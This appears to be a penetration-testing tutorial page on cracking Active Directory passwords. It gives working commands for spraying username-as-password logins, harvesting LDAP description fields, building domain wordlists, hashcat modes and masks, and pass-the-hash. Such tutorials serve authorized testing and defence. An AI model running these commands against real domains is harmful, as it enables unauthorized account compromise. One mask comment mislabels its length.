Skip to content
HackIndex logo

HackIndex

AD Password Cracking Strategies

5 min read Jul 11, 2026

Generic wordlists rarely crack domain passwords. Complexity policies push users toward predictable patterns: company name with year, seasonal words, or department names with numbers. Extracting company metadata from LDAP before running hashcat substantially improves hit rates. A fast username-as-password check often finds misconfigurations before any cracking is needed.

Username as password

Before cracking anything, check whether any accounts use their own username as their password. The --no-bruteforce flag in nxc pairs each username with itself in a single pass. No cumulative lockout risk if the domain lockout policy allows at least one attempt per account, which is the default threshold.

┌──(kali㉿kali)-[~]
└─$ # Pair each user with their own username
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u users.txt -p users.txt --no-bruteforce --continue-on-success
 
┌──(kali㉿kali)-[~]
└─$ # Empty password check
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u users.txt -p '' --continue-on-success
 
┌──(kali㉿kali)-[~]
└─$ # Validate against LDAP — accounts with no password often allow LDAP bind
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u users.txt -p users.txt --no-bruteforce --continue-on-success
SMB  10.10.10.10  445  DC01  [+] CORP\helpdesk:helpdesk
SMB  10.10.10.10  445  DC01  [+] CORP\scanner:

Extract domain context from LDAP

Description fields on user and computer accounts are worth reading before building a wordlist. Admins store passwords in service account descriptions more often than expected. Department names, company names, and city fields feed the mutation step that follows.

┌──(kali㉿kali)-[~]
└─$ # Description, department, company for all users
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(objectClass=user)' --attr sAMAccountName description department company > ad_attrs.txt
 
┌──(kali㉿kali)-[~]
└─$ # nxc module dedicated to description field extraction
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M get-desc-users
 
┌──(kali㉿kali)-[~]
└─$ # Computer account descriptions
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(objectClass=computer)' --attr dNSHostName description >> ad_attrs.txt
sAMAccountName: svc-backup
description: Default password: Backup2023! - change after setup
department: IT Infrastructure
company: CorpName
┌──(kali㉿kali)-[~]
└─$ # Extract attribute values
┌──(kali㉿kali)-[~]
└─$ grep -E '^(description|department|company):' ad_attrs.txt | awk -F': ' '{print $2}' | sort -u > base_words.txt
 
┌──(kali㉿kali)-[~]
└─$ # Append year and complexity mutations — update YEAR to current year
┌──(kali㉿kali)-[~]
└─$ YEAR=2024
┌──(kali㉿kali)-[~]
└─$ cat base_words.txt > domain_wordlist.txt
┌──(kali㉿kali)-[~]
└─$ while read w; do
echo ${w}${YEAR}
echo ${w}${YEAR}!
echo ${w}1
echo ${w}123!
done < base_words.txt >> domain_wordlist.txt
 
┌──(kali㉿kali)-[~]
└─$ # Seasonal patterns
┌──(kali㉿kali)-[~]
└─$ echo Winter${YEAR}! >> domain_wordlist.txt
┌──(kali㉿kali)-[~]
└─$ echo Spring${YEAR}! >> domain_wordlist.txt
┌──(kali㉿kali)-[~]
└─$ echo Summer${YEAR}! >> domain_wordlist.txt
┌──(kali㉿kali)-[~]
└─$ echo Autumn${YEAR}! >> domain_wordlist.txt
┌──(kali㉿kali)-[~]
└─$ echo Fall${YEAR}! >> domain_wordlist.txt
 
┌──(kali㉿kali)-[~]
└─$ # Combine with rockyou for broad coverage
┌──(kali㉿kali)-[~]
└─$ cat domain_wordlist.txt /usr/share/wordlists/rockyou.txt > combined_wordlist.txt

Hashcat modes for AD hash types

Each AD hash type requires a different hashcat mode:

  • -m 1000 — NTLM — from secretsdump, DCSync, or SAM dump

  • -m 5600 — NetNTLMv2 — from Responder or ntlmrelayx capture

  • -m 13100 — Kerberoast TGS — from impacket-GetUserSPNs

  • -m 18200 — AS-REP — from impacket-GetNPUsers

┌──(kali㉿kali)-[~]
└─$ # Extract NTLM column from secretsdump output (format: user:RID:LM:NTLM:::)
┌──(kali㉿kali)-[~]
└─$ awk -F: '{print $4}' secretsdump.txt | sort -u > ntlm_hashes.txt
 
┌──(kali㉿kali)-[~]
└─$ # Domain wordlist first
┌──(kali㉿kali)-[~]
└─$ hashcat -m 1000 ntlm_hashes.txt domain_wordlist.txt
 
┌──(kali㉿kali)-[~]
└─$ # Rules pass on rockyou
┌──(kali㉿kali)-[~]
└─$ hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
fc525c9683e8fe067095ba2ddc971889:Password2024!
b4b9b02e6f09a9bd760f388b67351e2b:CorpName2023!
┌──(kali㉿kali)-[~]
└─$ # NetNTLMv2 from Responder or NTLM relay capture — mode 5600
┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 netntlmv2.txt domain_wordlist.txt -r /usr/share/hashcat/rules/best64.rule
 
┌──(kali㉿kali)-[~]
└─$ # Kerberoast TGS from impacket-GetUserSPNs — mode 13100
┌──(kali㉿kali)-[~]
└─$ hashcat -m 13100 tgs_hashes.txt domain_wordlist.txt -r /usr/share/hashcat/rules/best64.rule
 
┌──(kali㉿kali)-[~]
└─$ # AS-REP from impacket-GetNPUsers — mode 18200
┌──(kali㉿kali)-[~]
└─$ hashcat -m 18200 asrep_hashes.txt domain_wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Rules and masks

Rules mutate wordlist entries at runtime. best64.rule covers standard capitalisation, number appending, and character substitutions. When wordlist and rule passes fail, mask attacks directly target the password policy structure. Most AD complexity policies require at least one uppercase letter, one digit, and one special character.

┌──(kali㉿kali)-[~]
└─$ # Hybrid attack — wordlist entry + 4-digit year appended
┌──(kali㉿kali)-[~]
└─$ hashcat -m 1000 ntlm_hashes.txt -a 6 domain_wordlist.txt ?d?d?d?d
 
┌──(kali㉿kali)-[~]
└─$ # Hybrid — wordlist entry + special char + 3 digits
┌──(kali㉿kali)-[~]
└─$ hashcat -m 1000 ntlm_hashes.txt -a 6 domain_wordlist.txt !?d?d?d
 
┌──(kali㉿kali)-[~]
└─$ # Pure mask — uppercase + 5 lowercase + 4 digits + special (8-char policy)
┌──(kali㉿kali)-[~]
└─$ hashcat -m 1000 ntlm_hashes.txt -a 3 ?u?l?l?l?l?l?d?d?d?d?s
 
┌──(kali㉿kali)-[~]
└─$ # Longer variants for 10-12 char policies
┌──(kali㉿kali)-[~]
└─$ hashcat -m 1000 ntlm_hashes.txt -a 3 ?u?l?l?l?l?l?l?d?d?d?d?s
┌──(kali㉿kali)-[~]
└─$ hashcat -m 1000 ntlm_hashes.txt -a 3 ?u?l?l?l?l?l?l?l?d?d?d?d?s

NTLM hashes from secretsdump do not need cracking for pass-the-hash — use them directly. Only crack when plaintext is needed: Kerberos authentication, service logins that reject NTLM, or credential reuse across systems outside the NTLM context.

References